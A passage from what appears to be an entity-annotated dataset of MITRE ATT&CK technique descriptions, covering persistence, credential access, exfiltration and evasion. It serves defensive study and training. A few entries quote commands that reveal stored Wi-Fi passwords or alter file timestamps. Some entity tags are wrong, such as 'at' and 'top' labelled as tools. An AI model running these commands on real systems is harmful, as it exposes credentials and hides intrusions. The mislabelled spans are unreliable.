[[272, 277], [717, 722]], "TOOL: Remote Desktop Protocol": [[553, 576]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.007"}} {"text": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.\n\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.", "spans": {"SYSTEM: GitHub": [[689, 695], [1205, 1211]], "SYSTEM: AWS": [[1219, 1222]], "SYSTEM: Docker": [[1239, 1245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.001"}} {"text": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.\n\nIn some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.", "spans": {"TOOL: at": [[190, 192], [557, 559]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1195"}} {"text": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Defense Evasion or Exploitation for Client Execution.\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.", "spans": {"SYSTEM: SMB": [[330, 333]], "SYSTEM: SSH": [[337, 340]], "SYSTEM: SNMP": [[404, 408]], "SYSTEM: VMware": [[602, 608]], "SYSTEM: API": [[1037, 1040]], "TOOL: top": [[1360, 1363], [1375, 1378]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1190"}} {"text": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.", "spans": {"SYSTEM: Kerberos": [[35, 43], [82, 90], [126, 134], [219, 227], [419, 427], [626, 634], [797, 805]], "SYSTEM: Windows": [[187, 194], [709, 716]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558"}} {"text": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555"}} {"text": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {"SYSTEM: SSL": [[458, 461]], "SYSTEM: TLS": [[462, 465]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567"}} {"text": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).", "spans": {"SYSTEM: KVM": [[339, 342]], "SYSTEM: Windows": [[1305, 1312]], "SYSTEM: Google Chrome": [[1415, 1428]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1219"}} {"text": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.", "spans": {"TOOL: top": [[477, 480]], "SYSTEM: AWS": [[1806, 1809]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.001"}} {"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile , libzip , and zlib . Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "spans": {"SYSTEM: Python": [[163, 169]], "SYSTEM: macOS": [[341, 346]], "SYSTEM: Linux": [[351, 356]], "SYSTEM: Windows": [[369, 376]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.002"}} {"text": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.\n\nThis is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[518, 525]], "SYSTEM: API": [[526, 529]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.003"}} {"text": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of Masquerading.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036"}} {"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. \n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "spans": {"ORGANIZATION: Microsoft": [[131, 140]], "SYSTEM: Windows": [[141, 148], [660, 667], [969, 976], [1382, 1389]], "SYSTEM: Windows XP": [[473, 483]], "SYSTEM: Windows 10": [[510, 520]], "FILEPATH: %WINDIR%": [[1022, 1030], [1198, 1206], [1225, 1233]], "SYSTEM: Windows Defender": [[1939, 1955]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.011"}} {"text": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).", "spans": {"SYSTEM: Registry": [[296, 304]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552"}} {"text": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot. \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port", "spans": {"SYSTEM: API": [[189, 192]], "TOOL: at": [[224, 226]], "FILEPATH: C:\\Windows\\System32": [[269, 288]], "SYSTEM: Registry": [[668, 676]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.010"}} {"text": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS.\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.", "spans": {"SYSTEM: Exchange": [[667, 675]], "TOOL: PowerShell": [[742, 752]], "SYSTEM: Linux": [[854, 859]], "SYSTEM: macOS": [[864, 869], [1007, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.008"}} {"text": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks. \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent", "spans": {"TOOL: at": [[937, 939]], "SYSTEM: macOS": [[1007, 1012]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037.002"}} {"text": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) \n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server \n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"", "spans": {"TOOL: at": [[1161, 1163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1659"}} {"text": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055"}} {"text": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.", "spans": {"SYSTEM: HTTP": [[185, 189]], "SYSTEM: Discord": [[314, 321]], "SYSTEM: Slack": [[323, 328]], "SYSTEM: Jira": [[444, 448]], "SYSTEM: Access": [[1005, 1011]], "SYSTEM: HTTPS": [[1047, 1052]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567.004"}} {"text": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r , is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives. To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1205"}} {"text": "Adversaries may leverage Valid Accounts to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the Cloud API, such as Azure Serial Console, AWS EC2 Instance Connect, and AWS System Manager..\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment. These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., Cloud Administration Command).", "spans": {"SYSTEM: API": [[254, 257]], "SYSTEM: Azure": [[267, 272]], "SYSTEM: AWS": [[289, 292], [319, 322]], "SYSTEM: EC2": [[293, 296]], "SYSTEM: SSH": [[442, 445]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.008"}} {"text": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.", "spans": {"ORGANIZATION: Microsoft": [[193, 202], [271, 280], [470, 479]], "SYSTEM: Windows": [[403, 410], [516, 523]], "SYSTEM: Linux": [[612, 617]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218"}} {"text": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file. `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t ` (which sets access and modification times to a specific value) or `touch -r ` (which sets access and modification times to match those of another file).\n\nTimestomping may be used along with file name Masquerading to hide malware and tools.", "spans": {"SYSTEM: Windows": [[309, 316]], "TOOL: at": [[683, 685]], "SYSTEM: API": [[707, 710]], "SYSTEM: Linux": [[1179, 1184]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.006"}} {"text": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture.\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.", "spans": {"SYSTEM: HTTPS": [[784, 789]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557.004"}} {"text": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the `Assembly.Load()` method executed by PowerShell may be abused to load raw code into the running process.\n\nReflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.", "spans": {"TOOL: PowerShell": [[534, 544]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1620"}} {"text": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of Account Discovery, Remote System Discovery, and other discovery or Credential Access activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password. Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` Native API functions.\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`. On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).", "spans": {"SYSTEM: Access": [[249, 255]], "SYSTEM: Windows": [[414, 421]], "TOOL: netsh": [[527, 532], [588, 593]], "SYSTEM: Native API": [[807, 817]], "SYSTEM: Linux": [[833, 838]], "FILEPATH: /etc/NetworkManager/system-connections/`.": [[953, 994]], "SYSTEM: macOS": [[998, 1003]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016.002"}} {"text": "Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes. By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.", "spans": {"TOOL: at": [[225, 227]], "SYSTEM: Linux": [[594, 599]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1480.002"}} {"text": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off. These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.", "spans": {"TOOL: PowerShell": [[520, 530]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.011"}} {"text": "Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.", "spans": {"TOOL: mount": [[532, 537]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1611"}} {"text": "Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as Data Destruction, Inhibit System Recovery, or Data Encrypted for Impact. \n\nCommands that can be used to obtain security software information are netsh, `reg query` with Reg, `dir` with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.", "spans": {"TOOL: netsh": [[331, 336]], "TOOL: Reg": [[355, 358]], "TOOL: cmd": [[371, 374]], "TOOL: Tasklist": [[380, 388]], "SYSTEM: Dropbox": [[551, 558]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1518.002"}} {"text": "Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.009"}} {"text": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.", "spans": {"SYSTEM: Native API": [[523, 533]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1010"}} {"text": "Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications. \n\nAdversaries may use systemctl to execute commands or programs as Systemd Services. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.", "spans": {"SYSTEM: systemd": [[104, 111]], "SYSTEM: Linux": [[117, 122]], "SYSTEM: Systemd": [[320, 327]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1569.003"}} {"text": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList 